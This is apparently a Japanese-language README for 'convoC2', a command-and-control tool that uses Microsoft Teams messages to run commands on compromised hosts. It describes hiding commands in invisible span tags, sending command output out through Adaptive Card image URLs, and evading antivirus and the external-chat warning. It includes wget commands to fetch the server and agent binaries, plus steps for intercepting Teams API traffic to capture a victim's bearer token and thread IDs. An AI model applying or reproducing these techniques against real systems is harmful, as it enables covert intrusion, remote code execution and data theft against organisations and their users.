
Microsoft Teamsを悪用したC2インフラストラクチャ。
Microsoft Teams を通じて、レッドチームが侵害したホスト上でシステムコマンドを実行できるようにするコマンドアンドコントロール(C2)インフラストラクチャです。
Microsoft Teams のメッセージ内の隠し span タグにデータを潜入させ、Adaptive Cards の画像 URL でコマンド出力を外部に送信し、C2 サーバーへのアウトオブバウンドリクエストをトリガーします。
被害者と攻撃者の間に直接的な通信が存在しないこと、さらに被害者が Microsoft のサーバーにのみ HTTP リクエストを送信し、アンチウイルスが MS Teams のログファイルを検査しないことから、検出がより困難になります。

以下の動画では、侵害された 2 台のホスト(1 台は Windows 11 で新しい Teams を実行、もう 1 台は Windows 10 で旧 Teams を実行)を制御するためのサーバーの使用例を示しています。最初のケースでは、攻撃者は被害者と同じ組織に属していません。
https://github.com/user-attachments/assets/d9fcccc1-de73-49cd-aaa7-df53303dbc6a
注: 最初のケースでは、被害者はすでに外部の攻撃者とのチャットを承諾していますが、攻撃者が被害者と初めてチャットを開始する実際のシナリオでは、被害者は攻撃者とのチャットを確認する必要があります(ただし、このアラートメッセージは簡単に回避できます。詳細はこちらを参照してください)。これは問題ではありません。なぜなら、メッセージはとにかくログファイルにキャッシュされるため、被害者がまだチャットを表示または承諾していなくても、コマンドは受信され実行されます。
サーバー
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_server_amd64.tar.gz
tar -xzvf convoC2_server_amd64.tar.gz --one-top-level
root@convoC2-server-VPS:~# ./convoC2_server_amd64 -h
Usage of convoC2 server:
-t, --msgTimeout How much to wait for command output (default 30 s)
-b, --bindIp Bind IP address (default 0.0.0.0)
エージェント
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_agent.tar.gz
tar -xzvf convoC2_agent.tar.gz --one-top-level
C:\Windows>convoC2_agent.exe -h
Usage of convoC2 agent:
-v, --verbose Verbose logging (default false)
-s, --server C2 server URL (i.e. http://10.11.12.13/)
-t, --timeout Teams log file polling timeout [s] (default 1)
-w, --webhook Teams Webhook POST URL
-r, --regex Regex to match command (default "<span[^>]*aria-label=\"([^\"]*)\"[^>]*></span>")
動作させるには、いくつか設定を行う必要があります:

https://teams.microsoft.com/api/chatsvc/emea/v1/threads に送信することでチャットを初期化します。レスポンスでは、threadId が Location ヘッダー URL のパスに返されます。
同じリクエストの Bearer トークンは、メッセージ送信用のエンドポイントである https://teams.microsoft.com/api/chatsvc/emea/v1/users/ME/conversations/<threadId>/messages への認証に使用されます。したがって、これら 3 つを取得するだけで、あとはサーバーが処理します。サーバーを起動した後、以前に取得した認証用データを使用して、新しいエージェントを受信し制御できます。使用例についてはデモを確認してください。
まず最初に、Teams チャネルを作成する必要があります。

3 つの点を右クリックし、「Workflows」をクリックします。

検索バーに「Webhook」と入力し、「Post to a channel when a webhook request is received」をクリックします。

デフォルト設定のまま続行し、最後に URL をコピーします。

まず被害者を探すことから始めます。

被害者のアカウントを選択した後、Web プロキシでリクエストをインターセプトした状態で、ダミーメッセージを送信できます。

api/chatsvc/emea/v1/threads リクエストに含まれる 2 つの ID を保存し、そのリクエストを DROP します。認証トークンは、同じリクエストの Bearer トークンです。

このインフラストラクチャは、Bobbyrsec による Teams GIFShell の研究 に着想を得ています。
当初の目的はこの問題を再現することでしたが、その解決策は部分的に修正されているようでした。この研究では Base64 エンコードされた GIF にコマンドを注入していましたが、それらはもはや正しく表示されなくなりました。代わりにチャット内に破損した画像のアイコンが表示され、被害者が疑い始める可能性がありました。
さまざまな方法を試した結果、GIF や画像ではなくメッセージに直接コマンドを埋め込むことが可能であることに気づきました。複数の画像を送信するよりも、シンプルなメッセージを送信する方が疑われる可能性は低いですよね?
当初は <script>、<meta>、またはカスタムタグなどにコマンドを埋め込むことを検討しましたが、すべてフィルタリングされました。最終的に、display:none を指定した <span> タグの aria-label 属性にコマンドを埋め込むことに成功しました。被害者にはメッセージだけが見えますが、隠されたコマンドが実際に Teams のログファイルを汚染するのです。

サーバーTUIは、素晴らしいGoのBubbleTeaフレームワークを使用して開発されています。
バグを見つけた場合やプロジェクトを改善したい場合は、お気軽にプルリクエストを開いてください。喜んでレビューし、最終的に変更をマージします。 短期的なTODOは以下のとおりです: